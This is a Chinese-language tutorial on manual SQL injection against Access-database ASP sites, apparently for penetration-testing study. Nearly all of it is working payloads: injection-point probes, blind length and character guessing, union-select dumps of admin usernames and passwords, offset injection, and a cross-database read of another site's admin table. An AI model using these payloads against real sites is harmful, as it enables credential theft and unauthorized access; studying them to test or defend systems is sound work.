Access数据库手工注入攻击
1. Access介绍
Access数据库是微软旗下的一种简单的数据库,功能没有mysql,sqlserver功能那么强大,一般asp网站用的就是
Access数据库,一般小公司喜欢用asp网站
数据库文件默认扩展名为.mdb,但是一般运维人员为了隐藏可能会把后缀名改为asp.微软的office里自带Access组
件可以打开,文件名就是数据库名,里面会有一堆表
这里采用凡诺企业网站管理系统为例结合火狐浏览器来一 一注入测试
2. 判断注入点
单引号
and 1=1
and 1=2
发现页面有报错,说明存在sql注入点
3. 判断数据库类型
user
是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为nvarchar字符型
。通过提交查询
该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。
and user>0
该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。
如果出现上图报错信息,说明是sqlserver数据库,但是我们测试的网站并未出现,所以可以判断是Access数据库
如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。
在注入点后提交如下查询语句
and (select count(*) from sysobjects)>=0
and (select count(*) from msysobjects)>=0
Access存在msysobjects表
,不存在sysobjects表,sqlserver存在sysobjects表
,不存在msysobjects,可以根据他
们返回的报错信息判断
4. 猜测数据库表名和字段名
4.1 猜表名
首先来猜解数据库表名,提交以下注入语句,一般我们手动就只猜测常见的表名,暴力破解的工具也是这样做的
常见表名 : users admin administrator 等
# exists() 判断查询结果是否存在,不存在返回false,存在返回true
and exists(select * from users)
报错说明不存在users表
and exists(select * from admin)
还是报错,说明也不存在admin表
exists(select * from administrator)
没有报错,说明存在administrator这张表
4.2 猜字段名
仍然是熟悉的配方,熟悉的味道,依然是用exists()函数判断
and exists(select username from administrator)
很不幸第一次尝试报错,说明administrator表中是没有username这个字段的,继续尝试
and exists(select user_name from administrator)
没有报错说明存在user_name这个字段,很nice,不错就用这些开发喜欢用的字段一个一个去尝试,你绝对会有
意外收获的,再来一发
and exists(select password from administrator)
漂亮又中了,有password这个字段,这时想起id字段一般都会有,果然屡试不爽,就不截图展示了
常见的表名
a_adminx_adminm_adminadminuseradminstratorarticle_adminmanagemanagermembermembersuserusersadminuserinfouser_infoadmin_userinfologinnewsconfig
常见的字段名
idpasswordusernameadmin_useridadmin_iduser_passuser_passwordpassyonghu
5. 猜测数据长度和数据内容
接下来将要介绍一个绝招,这里的绝招不是说是很厉害的招数,而是被逼的只能使用这一招了,虽然这招时间成本
高,但是准确率极高。
5.1 猜长度
这里介绍一种二分法,用科学的方法来减少猜测的次数,二分法就是每次去中间判断,这样会省很多次数
and (select top 1 len(user_name) from administrator)>0top 1 是查询第一条记录user_name的长度
页面返回正常,说明数据内容长度大于0,我就不一 一截图了
and (select top 1 len(user_name) from administrator)<10
页面返回正常,说明数据内容长度小于10,下次取5尝试
and (select top 1 len(user_name) from administrator)>5
页面报错,说明数据内容长度大于0,小于5,下次取3尝试
and (select top 1 len(user_name) from administrator)>3
页面返回正常,说明数据内容长度大于3,小于5,下次取4尝试
and (select top 1 len(user_name) from administrator)>4
页面返回正常,说明数据内容长度大于4,小于5,下次取5尝试
and (select top 1 len(user_name) from administrator)=5
发现页面没有报错,说明后面的条件语句返回的结果为真,即数据的长度为5
5.2 猜字符
通过ascii码对应的10进制数字判断具体的字符
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0and (select top 1 asc(mid(user_name,1,1)) from administrator)<100
页面返回正常说明第一个字符的ascii码对应的10进制数在0-100,一般数据内容大多是英文字母组成,所以我斗胆
尝试一下a,a对应的ascii码十进制是97 , mid是截取字符串函数
and (select top 1 asc(mid(user_name,1,1)) from administrator)=97
页面返回正常,真的是一发入魂,如果你闲的无聊的话,剩下的字符也就是这样一个一个猜测,但是不到万不得已
我不推荐,最起码也要半自动化吧
6. SQL注入中的高级查询
在上面介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以
快速地获得字段长度及字段内容
6.1 order by猜测字段数
同样也是推荐你用二分法这种神奇的算法去测试,一般我们都以0-10作为起始范围,很快啪的一声我就试出来了
原sql语句查询的字段数为7
order by 7
判断数据库查询到的信息在页面上的显示位置
?id=9999 union select 1111,2222,33333,4444,5555,6666,77777 from administrator因为access数据库比较特殊 , 在联合查询的时候一定要接表名 , 否则报错
6.2 获取字段的值
?id=9999 union select 1111,user_name,password,4444,5555,6666,77777 from administrator
然后将得到的密码,用你旁边人的脚指头想一想,是不是很像md5摘要后的,于是你抱着试一试的心态去网上在
线网站去撞库
21232f297a57a5a743894a0e4a801fc3
哎,还真的走了狗屎运撞了出来
6.3 偏移注入
偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到字段名
的情况下,这种方法就可以帮我们填
补。(注:这种方法运气很重要) 但是一般面试问的很少,了解即可
?id=9999 union select 1111,222,333,4444,* from administrator
6.4 注入跨库查询
老周说他觉得这个没啥用,工作的时候也没有用到过,他觉得是一个概念型的东西,生产环境,应用场景几乎为0
假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进
行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有
注入点。
直接用 http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins